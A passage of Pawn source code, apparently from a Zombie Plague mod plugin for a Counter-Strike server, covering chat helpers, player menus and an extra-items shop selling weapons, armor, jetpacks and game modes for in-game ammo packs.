			PrintToChatEx(true, iPlayer, "^1*DEAD*^3 %s^1 :  %s", g_cName[iPlayer], cMessage);
			return 0;
		}
		else
		{
			PrintToChatEx(true, iPlayer, "^1*DEAD*^4 %s^3 %s^1 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
			return 0;
		}
	}
	return 0;
}

PrintToChatEx(bool:bAlive, iPlayer, cMessage[], any:...)
{
	static i;
	static cBuffer[192];
	vformat(cBuffer, 191, cMessage, 4);
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i) && g_bAlive[i] == bAlive)
		{
			send_say_text(i, iPlayer, cBuffer);
		}
		i += 1;
	}
	return 0;
}

public MessageHealth(iMessage, iDestination, iEntity)
{
	static iHealth;
	iHealth = get_msg_arg_int(1);
	if (iHealth > 255)
	{
		if (!(iHealth % 256))
		{
			set_health(iEntity, get_health(iEntity) + 1);
		}
		set_msg_arg_int(1, get_msg_argtype(1), 255);
	}
	return 0;
}

public TaskReminder()
{
	static cHealth[15];
	static iHealth;
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_iPlayerType[i])
		{
			iHealth = get_health(i);
			AddCommas(iHealth, cHealth, 14);
			PrintToChat(0, "^4[ZP]^1 A ^3Rapture^1 Reminder ^3@ ^4%s^1 still has %s ^4health points!", g_cClass[i], cHealth);
		}
		i += 1;
	}
	return 0;
}

public TaskRemoveMadness(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		g_bNoDamage[iPlayer] = false;
		remove_glow(iPlayer);
		set_take_damage(iPlayer, 2);
	}
	return 0;
}

public Task_EnableFlash(iPlayer)
{
	g_bFlashEnabled[iPlayer] = true;
	g_bFlash[iPlayer] = true;
	remove_task(iPlayer + 350, 0);
	set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
	return 0;
}

public _GameMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_bAlive[iPlayer] && g_bCanBuy[iPlayer])
				{
					set_task(0.1, "TaskShowMenu", iPlayer, "", 0, "", 0);
					PrintToChat(iPlayer, "^4[ZP]^1 Your buy menu has been enabled.");
				}
			}
			case 1:
			{
				if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer])
				{
					static cNumber[3];
					static cLine[128];
					static i;
					g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems", 0);
					i = 0;
					while (i < 22)
					{
						if (g_iExtraItemsTeams[i] == 1 && !g_bZombie[iPlayer])
						{
						}
						else
						{
							if (!(g_bZombie[iPlayer] && g_iExtraItemsTeams[i] == 2))
							{
								formatex(cLine, 128, "%s \y%d ammo packs", g_cExtraItems[i], g_iExtraItemsPrices[i]);
								num_to_str(i, cNumber, 3);
								menu_additem(g_iMenuExtraItems, cLine, cNumber, 0, -1);
							}
						}
						i += 1;
					}
					menu_display(iPlayer, g_iMenuExtraItems, 0);
				}
				else
				{
					PrintToChat(iPlayer, "^4[ZP]^1 Extra items are unavailable right now...");
				}
			}
			case 2:
			{
				menu_display(iPlayer, g_iMenuZombieClasses, 0);
			}
			case 3:
			{
				if (g_bAlive[iPlayer] && !is_hull_vacant(iPlayer))
				{
					static i;
					static Float:fOrigin[3];
					static Float:fVector[3];
					static Float:fMins[3];
					get_mins(iPlayer, fMins);
					get_origin(iPlayer, fOrigin);
					i = 0;
					while (i < 70)
					{
						fVector[0] = floatsub(fOrigin[0], floatmul(fMins[0], g_fSizes[i][0]));
						fVector[1] = floatsub(fOrigin[1], floatmul(fMins[1], g_fSizes[i][1]));
						fVector[2] = floatsub(fOrigin[2], floatmul(fMins[2], g_fSizes[i][2]));
						if (is_origin_vacant(fVector, iPlayer))
						{
							set_origin(iPlayer, fVector);
							set_pev(iPlayer,pev_velocity,{0.0,0.0,0.0})
							i = 70;
							client_cmd(iPlayer, "spk fvox/blip.wav");
						}
						i += 1;
					}
					PrintToChat(iPlayer, "^4[ZP]^1 You have been unstucked!");
				}
				else
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You are not stuck...");
				}
			}		
			case 4:
            {
                log_amx("^"%s^" joined spectators!", g_cName[iPlayer]);
                remove_task(iPlayer + 250, 0);
                remove_task(iPlayer + 200, 0);
                set_out(iPlayer, 3);
                if (g_bAlive[iPlayer])
                {
                    CheckLastPlayer(iPlayer);
                    kill(iPlayer);
                }
                PrintToChat(iPlayer, "^4[ZP]^1 You are now spectator!");
            }			
			default:
			{
			}
		}
	}
	return 0;
}

public _ZombieClasses(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[15];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		g_iZombieNextClass[iPlayer] = iChoice;
		AddCommas(g_iZombieHealths[iChoice], cBuffer, 14);
		PrintToChat(iPlayer, "^4[ZP]^1 Your zombie class after the next infection will be:^4 %s", g_cZombieClasses[iChoice]);
		PrintToChat(iPlayer, "^4[ZP]^1 Health:^4 %s^1 | Speed:^4 %0.0f^1 | Gravity:^4 %0.0f^1 | Knockback:^4 %0.0f%s", cBuffer, g_fZombieSpeeds[iChoice], g_fZombieGravities[iChoice] * 100.0, g_fZombieKnockbacks[iChoice] * 100.0, "%");
	}
	return 0;
}

public _ExtraItems(iPlayer, iMenu, iItem)
{
	if (g_bAlive[iPlayer] && iItem != -3 && !g_iPlayerType[iPlayer] && !g_bFake[iPlayer])
	{
		static bAlreadyBought[33];
		static iSurvivors;
		static iSnipers;
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (g_bFlash[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					set_task(0.1, "Task_EnableFlash", iPlayer, "", 0, "", 0);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
				}
			}
			case 1:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You can't buy this item right now!");
					return 0;
				}
				MakeHuman(iPlayer, false, false);
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
			}
			case 2:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (g_bNoDamage[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					g_bNoDamage[iPlayer] = true;
					set_take_damage(iPlayer, 0);
					emit_sound(iPlayer, CHAN_AUTO, "zombie_plague/zombie_madness.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					set_glow(iPlayer, 19, 150, 255, 0, 0);
					set_task(5.0, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer]);
					PrintToChat(0, "^4[ZP]^3 %s^1 bought^4 Zombie Madness", g_cName[iPlayer]);
				}
			}
			case 3:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You can't buy this item right now!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					give_weapon(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
				}
			}
			case 4:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					give_weapon(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Nade!");
				}
			}
			case 5:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 25, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					give_weapon(iPlayer, "weapon_flashbang");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Napalm Nade!");
				}
			}
			case 6:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 9, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					give_weapon(iPlayer, "weapon_smokegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Frost Nade!");
				}
			}
			case 7:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 18, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					DropWeapons(iPlayer, 1);
					give_weapon(iPlayer, "weapon_awp");
					give_ammo(iPlayer, 18, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
				}
			}
			case 8:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 20, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					DropWeapons(iPlayer, 1);
					give_weapon(iPlayer, "weapon_m249");
					give_ammo(iPlayer, 20, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
				}
			}
			case 9:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 13, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					DropWeapons(iPlayer, 1);
					give_weapon(iPlayer, "weapon_sg550");
					give_ammo(iPlayer, 13, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
				}
			}
			case 10:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 24, -1))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					DropWeapons(iPlayer, 1);
					give_weapon(iPlayer, "weapon_g3sg1");
					give_ammo(iPlayer, 24, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
				}
			}
			case 11:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (get_user_jetpack(iPlayer))
				{
					user_drop_jetpack(iPlayer, 1);
				}
				set_user_jetpack(iPlayer, 1);
				set_user_fuel(iPlayer, 250.0);
				set_user_rocket_time(iPlayer, 0.0);
				PrintToChat(iPlayer, "^4[ZP]^1 Press^3 CTR+SPACE^1 to fly!");
				PrintToChat(iPlayer, "^4[ZP]^1 Press^3 RIGHT CLICK^1 to shoot!");
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer]);
			}
			case 12:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (g_bUnlimitedClip[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					g_bUnlimitedClip[iPlayer] = true;
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
				}
			}
			case 13:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (120 < get_armor(iPlayer))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					set_armor(iPlayer, get_armor(iPlayer) + 100);
					emit_sound(iPlayer, CHAN_AUTO, "zombie_plague/armor_equip.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
				}
			}
			case 14:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				if (120 < get_armor(iPlayer))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You already have one!");
				}
				else
				{
					set_armor(iPlayer, get_armor(iPlayer) + 200);
					emit_sound(iPlayer, CHAN_AUTO, "zombie_plague/armor_equip.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
				}
			}
			case 15:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				g_iJumpsNum[iPlayer]++;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iJumpsNum[iPlayer] + 1);
			}
			case 16:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				g_bTryder[iPlayer] = true;
				strip_user_weapons(iPlayer);
				set_armor(iPlayer, 777);
				set_health(iPlayer, 777);
				give_weapon(iPlayer, "weapon_knife");
				give_weapon(iPlayer, "weapon_deagle");
				give_weapon(iPlayer, "weapon_xm1014");
				give_weapon(iPlayer, "weapon_g3sg1");
				give_weapon(iPlayer, "weapon_ak47");
				give_weapon(iPlayer, "weapon_m4a1");
				give_weapon(iPlayer, "weapon_hegrenade");
				give_weapon(iPlayer, "weapon_flashbang");
				give_weapon(iPlayer, "weapon_smokegrenade");
				give_ammo(iPlayer, 26, 9999);
				give_ammo(iPlayer, 5, 9999);
				give_ammo(iPlayer, 24, 9999);
				give_ammo(iPlayer, 28, 9999);
				give_ammo(iPlayer, 22, 9999);
				g_bUnlimitedClip[iPlayer] = true;
				set_glow(iPlayer, 19, 13, 250, 10, 175);
				emit_sound( iPlayer, CHAN_AUTO, "zombie_plague/armor_equip.wav", 1.0, ATTN_NORM, 0, PITCH_NORM )
				ExecuteHamB(Ham_Item_PreFrame, iPlayer);
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
				PrintToChat(0, "^4[ZP]^3 %s^1 is now a^4 Tryder", g_cName[iPlayer]);
			}
			case 17:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				static cTime;
				static iTime[3];
				static Float:fGameTime;
				fGameTime = get_gametime();				
				get_time("%H", iTime, 2);
				cTime = str_to_num(iTime);
				if (iSurvivors)
				{
					PrintToChat(iPlayer, "^4[ZP]^1 There already was a survivor this map!");
				}
				else
				{
					if (bAlreadyBought[iPlayer])
					{
						PrintToChat(iPlayer, "^4[ZP]^1 You^3 already bought^1 a game mode this map!");
					}
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						PrintToChat(iPlayer, "^4[ZP]^1 Please wait at least^4 two seconds^1 after the round begining!");
					}
					if (cTime >= 22 || cTime <= 10)
					{
						PrintToChat(iPlayer, "^4[ZP]^3 Survivor ^1it's unavailable between^4 22:00^1 and^4 10:00");
						return 1;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						iSurvivors += 1;
						remove_task(550, 0);
						StartSurvivorMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor !!!", g_cName[iPlayer]);
						PrintToChat(0, "^4[ZP]^3 %s^1 bought^4 Survivor", g_cName[iPlayer]);
					}
					else
					{
					    PrintToChat(iPlayer, "^4[ZP]^1 Sorry but you can't buy right now...");
					    return 1;
					}
				}
			}
			case 18:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				static cTime;
				static iTime[3];
				static Float:fGameTime;
				fGameTime = get_gametime();					
				get_time("%H", iTime, 2);
				cTime = str_to_num(iTime);
				if (iSnipers)
				{
					PrintToChat(iPlayer, "^4[ZP]^1 There already was a sniper this map!");
				}
				else
				{
					if (bAlreadyBought[iPlayer])
					{
						PrintToChat(iPlayer, "^4[ZP]^1 You^3 already bought^1 a game mode this map!");
					}
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						PrintToChat(iPlayer, "^4[ZP]^1 Please wait at least^4 two seconds^1 after the round begining!");
					}
					if (cTime >= 22 || cTime <= 10)
					{
						PrintToChat(iPlayer, "^4[ZP]^3 Sniper ^1it's unavailable between^4 22:00^1 and^4 10:00");
						return 1;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						iSnipers += 1;
						remove_task(550, 0);
						StartSniperMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper !!!", g_cName[iPlayer]);
						PrintToChat(0, "^4[ZP]^3 %s^1 bought^4 Sniper", g_cName[iPlayer]);
					}
					else
					{
					    PrintToChat(iPlayer, "^4[ZP]^1 Sorry but you can't buy right now...");
					    return 1;
					}
				}
			}
			case 19:
			{
				static Float:fGameTime;
				fGameTime = get_gametime();						
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if (bAlreadyBought[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						PrintToChat(iPlayer, "^4[ZP]^1 Please wait at least^4 two seconds^1 after the round begining!");
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						remove_task(550, 0);
						StartNemesisMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis !!!", g_cName[iPlayer]);
						PrintToChat(0, "^4[ZP]^3 %s^1 bought^4 Nemesis", g_cName[iPlayer]);
					}
					else
					{
					    PrintToChat(iPlayer, "^4[ZP]^1 Sorry but you can't buy right now...");
					    return 1;
					}
				}
			}
			case 20:
			{
				static Float:fGameTime;
				fGameTime = get_gametime();						
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if (bAlreadyBought[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You^3 already bought^1 a game mode this map!");
				}
				else
				{
					if (fGameTime - g_fRoundStartTime < 3.0)
					{
						PrintToChat(iPlayer, "^4[ZP]^1 Please wait at least^4 two seconds^1 after the round begining!");
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
